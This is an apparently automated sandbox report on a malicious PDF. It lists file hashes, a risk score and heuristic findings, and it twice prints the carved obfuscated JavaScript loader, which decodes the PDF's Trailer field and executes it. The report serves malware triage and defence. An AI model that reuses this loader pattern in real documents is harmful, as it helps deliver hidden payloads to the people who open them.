PDF malware analysis — malicious · 593055ff0e374a67

MALICIOUS

PDF

4.7 KB Created: 2008-09-24 19:47:56 Authoring application: Adobe (via Notepad) First seen: 2026-05-10

MD5: 5948921fbd7b08940bcb4f9bc881bf45 SHA-1: 3158a5c71e91c07063177162e30c223b6b87e917 SHA-256: 593055ff0e374a6729155b4b5c81d6eef37aa9dd0e96a70fbf46394fd01bd54b

148 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell

The PDF document contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The PDF_UNESCAPE heuristic suggests that the JavaScript content may be obfuscated. The extracted file 'javascript_obj0006_000.js' is likely responsible for malicious actions. Without further deobfuscation or execution, the exact payload and intent remain unclear, but the presence of JavaScript in a PDF commonly indicates an attempt to download and execute a secondary payload.

Machine Learning

Nyx PDF Classifier malicious score 1.0000

Heuristics 4

JavaScript action low 2 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
Matched line in script
```
f8S='app';if(app.alert)f8S='';X2B=this;kQXvW=X2B.info;f8S=f8S+unescape('%')+f8S;OtUm=kQXvW.Trailer.replace(/([A-Z])/g,f8S);app.setTimeOut(unescape(OtUm),3)
```
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0006_000.js`	pdf-javascript-stream	PDF /JS object 6 at offset 0xFD2	155 bytes
SHA-256: `d319cddd23cd4b95e2f61c9be32bcc9e63b26175f9d3e4d87b69f9087ea3a723`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script f8S='app';if(app.alert)f8S='';X2B=this;kQXvW=X2B.info;f8S=f8S+unescape('%')+f8S;OtUm=kQXvW.Trailer.replace(/([A-Z])/g,f8S);app.setTimeOut(unescape(OtUm),3)

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